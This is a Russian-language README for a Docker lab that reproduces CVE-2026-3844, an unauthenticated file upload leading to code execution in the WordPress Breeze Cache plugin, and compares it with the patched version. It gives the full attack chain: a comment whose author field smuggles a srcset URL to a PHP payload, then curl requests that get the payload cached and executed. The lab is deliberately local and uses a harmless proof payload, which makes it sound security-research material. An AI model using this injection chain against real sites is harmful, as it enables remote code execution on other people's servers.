
Локальная Docker-лаборатория для воспроизведения CVE-2026-3844 — неаутентифицированной произвольной загрузки файлов с последующим выполнением кода (RCE) в плагине WordPress Breeze Cache. Сравнивает уязвимую версию 2.4.4 с исправленной 2.4.5 с использованием изолированных сервисов и PoC с минимальным вредом.
Локальный Docker-стенд для воспроизведения и сравнения поведения CVE-2026-3844 в плагине WordPress Breeze Cache.
В этом репозитории демонстрируется уязвимое поведение в Breeze Cache 2.4.4 и проводится сравнение с исправленным поведением в Breeze Cache 2.4.5. Стенд использует два изолированных сервиса WordPress — один уязвимый и один исправленный, — а также локальный сервер полезной нагрузки внутри Docker-сети.
Эксплойт-Proof of Concept намеренно наименее вредоносный: он не использует веб-шелл, не предоставляет параметр команды, не запускает обратный шелл и не требует чтения файлов изнутри контейнера. Доказательство основано на наблюдаемом HTTP-поведении с хоста.
CVE-2026-3844 затрагивает плагин Breeze Cache для WordPress версии 2.4.4 и ниже. Уязвимый фрагмент кода связан с функцией локального кэширования Gravatar, а именно с потоком выполнения fetch_gravatar_from_remote().
Когда включена опция Breeze Host Files Locally - Gravatars, уязвимые версии могут загружать управляемый атакующим удалённый файл и сохранять его в публично доступной через веб каталоге кэша. Если загруженный файл является PHP, веб-сервер может выполнить его при запросе по HTTP.
Данный стенд воспроизводит это поведение локально:
vuln: WordPress + Breeze Cache 2.4.4patched: WordPress + Breeze Cache 2.4.5payload: локальный сервер полезной нагрузки, доступный только внутри DockersrcsetОжидаемый результат:
http://127.0.0.1:8081 / Breeze 2.4.4 → доказательный PHP-файл кэшируется и выполняетсяhttp://127.0.0.1:8082 / Breeze 2.4.5 → доказательный PHP-файл не кэшируется/не читается/не выполняется.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── scripts/
│ └── seed-wordpress.sh
├── payload/
│ └── manual-proof.php
│ └── proof-cve3844.php
├── poc/
│ └── poc.py
│ └── requirements.txt
├── .gitignore
├── README.md
Host machine
│
├── http://127.0.0.1:8081 -> vuln WordPress + Breeze 2.4.4
├── http://127.0.0.1:8082 -> patched WordPress + Breeze 2.4.5
└── http://127.0.0.1:9100 -> local payload server
Docker network
│
├── vuln -> WordPress vulnerable target
├── patched -> WordPress patched target
├── vuln_db -> MariaDB for vulnerable WordPress
├── patched_db -> MariaDB for patched WordPress
└── payload -> Python static HTTP server
Контейнеры WordPress загружают полезную нагрузку через URL внутри Docker-сети:
http://payload:9100/<payload-file>.php
Хост проверяет результат обычными HTTP-запросами к сервисам WordPress.
2.4.42.4.5fetch_gravatar_from_remote()inc/class-breeze-cache-cronjobs.phpbreeze-store-gravatars-locallyУязвимое поведение достижимо только при включённом локальном кэшировании Gravatar. В типовых установках эта опция по умолчанию отключена, однако в данном стенде она включена намеренно для воспроизведения уязвимого пути выполнения кода.
В Breeze Cache 2.4.4 поток локализации Gravatar может извлекать удалённый URL из HTML-разметки, связанной с аватарами, и передавать этот URL в fetch_gravatar_from_remote().
В уязвимой версии отсутствует достаточная проверка удалённого файла:
.phpРезультирующий файл сохраняется по пути:
/wp-content/cache/breeze-extra/gravatars/
Когда PHP-файл сохраняется туда, а затем запрашивается через Apache/PHP, сервер выполняет его.
В Breeze Cache 2.4.5 исправленный поток добавляет проверки, которые не позволяют полезной нагрузке данного стенда быть закэшированной как исполняемый PHP. В локальном воспроизведении тот же триггер срабатывает против 2.4.4, но не раскрывает доказательный маркер против 2.4.5.
Данный стенд намеренно держит сервер полезной нагрузки локальным, а не использует публичный хост для полезной нагрузки.
download_url() в WordPress и WordPress HTTP API по умолчанию отклоняют некоторые приватные Docker-имена хостов и нестандартные порты. Публичные эксплойт-скрипты часто используют публичные HTTPS-URL полезной нагрузки, что обходит это ограничение. В данном стенде так не делается.
Чтобы воспроизведение оставалось полностью локальным, скрипт начальной настройки устанавливает небольшой MU-плагин-хелпер, доступный только локально, который:
payload и payload.local80 и 9100Этот хелпер не изменяет исходный код Breeze. И уязвимый, и исправленный сервисы используют настоящие версии плагина Breeze, установленные через WP-CLI.
Хелпер существует только для того, чтобы сделать Docker-стенд детерминированным и полностью локальным.
Репозиторий предназначен только для локальных исследований в области безопасности и демонстрации портфолио.
Ограничения:
localhost и сервисах Docker-сетиcmd=Полезная нагрузка PoC выводит безвредную информацию о среде выполнения PHP:
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<process id>
host=<container hostname>
Это доказывает контекст выполнения кода без запуска shell-команд.
requestsУстановка зависимости Python:
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt
Файл requirements.txt должен содержать:
requests
Сборка и запуск стенда:
docker compose down -v --remove-orphans
docker compose up -d --build
Проверка статуса сервисов:
docker compose ps
Ожидаемые сервисы:
vuln healthy http://127.0.0.1:8081
patched healthy http://127.0.0.1:8082
payload running http://127.0.0.1:9100
vuln_db healthy
patched_db healthy
Проверка логов начальной настройки:
docker compose logs --tail=120 vuln
docker compose logs --tail=120 patched
Ожидаемые строки в логах:
[seed] WordPress ready at http://localhost:8081 with Breeze 2.4.4
[seed] WordPress ready at http://localhost:8082 with Breeze 2.4.5
Проверка установки WordPress:
docker compose exec vuln wp core is-installed --allow-root --path=/var/www/html
docker compose exec patched wp core is-installed --allow-root --path=/var/www/html
Проверка версий Breeze:
docker compose exec vuln wp plugin get breeze --field=version --allow-root --path=/var/www/html
docker compose exec patched wp plugin get breeze --field=version --allow-root --path=/var/www/html
Ожидаемый результат:
2.4.4
2.4.5
Проверка уязвимого предусловия:
docker compose exec vuln wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
docker compose exec patched wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
Ожидаемый результат:
1
1
Проверка, что WordPress может получить локальный сервис полезной нагрузки:
docker compose exec vuln wp eval '
$r = download_url("http://payload:9100/proof-cve3844.php");
if (is_wp_error($r)) { var_dump($r->get_error_message()); exit; }
echo $r . PHP_EOL;
echo file_get_contents($r);
@unlink($r);
' --allow-root --path=/var/www/html
Если файл proof-cve3844.php ещё не существует, создайте любой временный файл в payload/ или один раз запустите PoC.
Запуск против уязвимого сервиса:
python3 poc/poc.py --base-url http://127.0.0.1:8081
Ожидаемый результат для уязвимой версии:
[VULNERABLE-BEHAVIOR] unique PHP proof marker was publicly readable
[+] PHP proof appears to have executed
Пример вывода доказательства:
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<container hostname>
Запуск против исправленного сервиса:
python3 poc/poc.py --base-url http://127.0.0.1:8082
Ожидаемый результат для исправленной версии:
[PATCHED-BEHAVIOR] unique PHP proof marker was not publicly readable
Перенаправление, такое как 301 Moved Permanently, не считается доказательством. PoC требует, чтобы уникальный маркер появился в теле HTTP-ответа.
PoC выполняет следующий полностью локальный процесс:
payload/.x srcset=http://payload:9100/<unique-payload>.php
/wp-content/cache/breeze-extra/gravatars/<unique-payload>.php
--keep-payload.PoC не читает файлы изнутри целевого контейнера. Доказательства собираются по HTTP с хоста.
Создайте ручную полезную нагрузку:
cat > payload/manual-proof.php <<'PHP'
<?php
header('Content-Type: text/plain');
echo "CVE-2026-3844_MANUAL_PROOF\n";
echo "php_sapi=" . php_sapi_name() . "\n";
echo "user=" . get_current_user() . "\n";
echo "uid=" . (function_exists('posix_geteuid') ? posix_geteuid() : getmyuid()) . "\n";
echo "pid=" . getmypid() . "\n";
echo "host=" . gethostname() . "\n";
PHP
Убедитесь, что сервер полезной нагрузки отдаёт исходный код PHP как статический текст:
curl -i http://127.0.0.1:9100/manual-proof.php
Опубликуйте комментарий в уязвимом сервисе WordPress:
curl -i -sS \
-X POST 'http://127.0.0.1:8081/wp-comments-post.php' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'comment_post_ID=1' \
--data-urlencode 'comment_parent=0' \
--data-urlencode 'author=x srcset=http://payload:9100/manual-proof.php' \
--data-urlencode '[email protected]' \
--data-urlencode 'url=' \
--data-urlencode 'comment=manual CVE-2026-3844 proof' \
--data-urlencode 'submit=Post Comment'
Запустите обработку Breeze, отобразив запись через хост URL сайта WordPress:
curl -sS 'http://localhost:8081/?p=1' >/tmp/cve3844-vuln-render.html
grep -i 'manual-proof.php' /tmp/cve3844-vuln-render.html
Ожидаемое HTML-доказательство:
alt='x srcset=http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php Avatar'
Запросите закэшированный PHP-файл:
curl -i 'http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php'
Ожидаемое доказательство уязвимости:
HTTP/1.1 200 OK
Content-Type: text/plain;charset=UTF-8
CVE-2026-3844_MANUAL_PROOF
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<container hostname>
Проверьте логи сервера полезной нагрузки:
docker compose logs --tail=50 payload
Ожидаемый результат:
GET /manual-proof.php HTTP/1.1" 200
| Целевой сервис | Версия Breeze | Ожидаемый результат |
|---|---|---|
http://127.0.0.1:8081 | 2.4.4 | PHP-доказательство загружено, закэшировано и выполнимо |
http://127.0.0.1:8082 | 2.4.5 | Маркер PHP-доказательства не раскрыт |
Остановка и удаление контейнеров, сетей и томов:
docker compose down -v --remove-orphans
Удаление сгенерированных файлов полезной нагрузки при необходимости:
rm -f payload/proof-cve3844-*.php payload/manual-proof*.php
NVD — CVE-2026-3844:
https://nvd.nist.gov/vuln/detail/CVE-2026-3844
База данных Patchstack — плагин WordPress Breeze Cache <= 2.4.4, неаутентифицированная произвольная загрузка файла через fetch_gravatar_from_remote:
https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability
Wordfence Threat Intelligence — Breeze Cache <= 2.4.4, неаутентифицированная произвольная загрузка файла:
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/breeze/breeze-cache-244-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote
Блог Wordfence — освещение активной эксплуатации уязвимости Breeze Cache:
https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/
Страница плагина Breeze Cache:
https://wordpress.org/plugins/breeze/
Загрузки плагина WordPress, используемые в стенде:
WordPress Plugin Trac — исходный код Breeze (уязвимая версия), class-breeze-cache-cronjobs.php:
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.4/inc/class-breeze-cache-cronjobs.php
WordPress Plugin Trac — исправленный исходный код Breeze, class-breeze-cache-cronjobs.php:
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.5/inc/class-breeze-cache-cronjobs.php
Данный проект предназначен только для авторизованных локальных исследований в области безопасности. Не запускайте PoC против систем, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения.